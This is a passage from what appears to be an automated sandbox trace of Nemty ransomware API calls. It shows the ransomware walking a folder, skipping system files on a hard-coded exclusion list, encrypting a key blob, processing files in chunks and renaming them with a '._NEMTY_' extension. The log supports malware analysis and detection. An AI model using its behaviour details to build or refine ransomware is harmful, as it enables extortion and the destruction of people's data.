lpMultiByteStr="wmpnss_color32.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color32.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color32.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.639] Sleep (dwMilliseconds=0x5) [0106.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3357c30, dwHighDateTime=0x1d561e7)) [0106.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3357c30, dwHighDateTime=0x1d561e7)) [0106.639] GetLastError () returned 0x5 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.639] GetLastError () returned 0x5 [0106.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.640] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.640] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="7/sqYO7GHZEPT+SROOCCXQ7jzW8Q014PluhfNFU5EVn+dYX9vdbCmPZFK5lvvJQi\r\nYAZcV+Bi794vFaUzBOu+7vIdiZSmBcLhw7PlS/lthZzMYcRA2DesFeMqKSKDGweb\r\nmB+XqJpmJWFjegWUgtLTr5Inq45Da8gAQrSUYxyCg56K2HGL3WakO4iEE0W++eRG\r\n1sN6ZBsGGZsnyzQEBZtagBAUXRvq0kXFvkMUr88vrrYDF+8fMF7cWoSgTmWxDxZw\r\nxnabD4wQ3uQml2V/PyoEPkSkbYLvwlE5r7xb4wQVdnpPyXQxE6aotRt2juSaV/pX\r\n11yhpW1+T20X4CLiz7A5qg==\r\n", pcchString=0x653ef9c) returned 1 [0106.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.640] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.641] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.760] CloseHandle (hObject=0xffffffff) returned 0 [0106.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0106.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0106.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg._nemty_kgobjgd_")) returned 0 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.760] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b38, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1 [0106.760] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2=".") returned 1 [0106.760] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="..") returned 1 [0106.760] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="...") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="windows") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="$RECYCLE.BIN") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="rsa") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="NTDETECT.COM") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="ntldr") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="MSDOS.SYS") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="IO.SYS") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="boot.ini") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="boot.ini") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="ntuser.dat") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="desktop.ini") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="CONFIG.SYS") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="RECYCLER") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="BOOTSECT.BAK") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="bootmgr") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="programdata") returned 1 [0106.761] lstrcmpiW (lpString1="wmpnss_color48.bmp", lpString2="appdata") returned 1 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 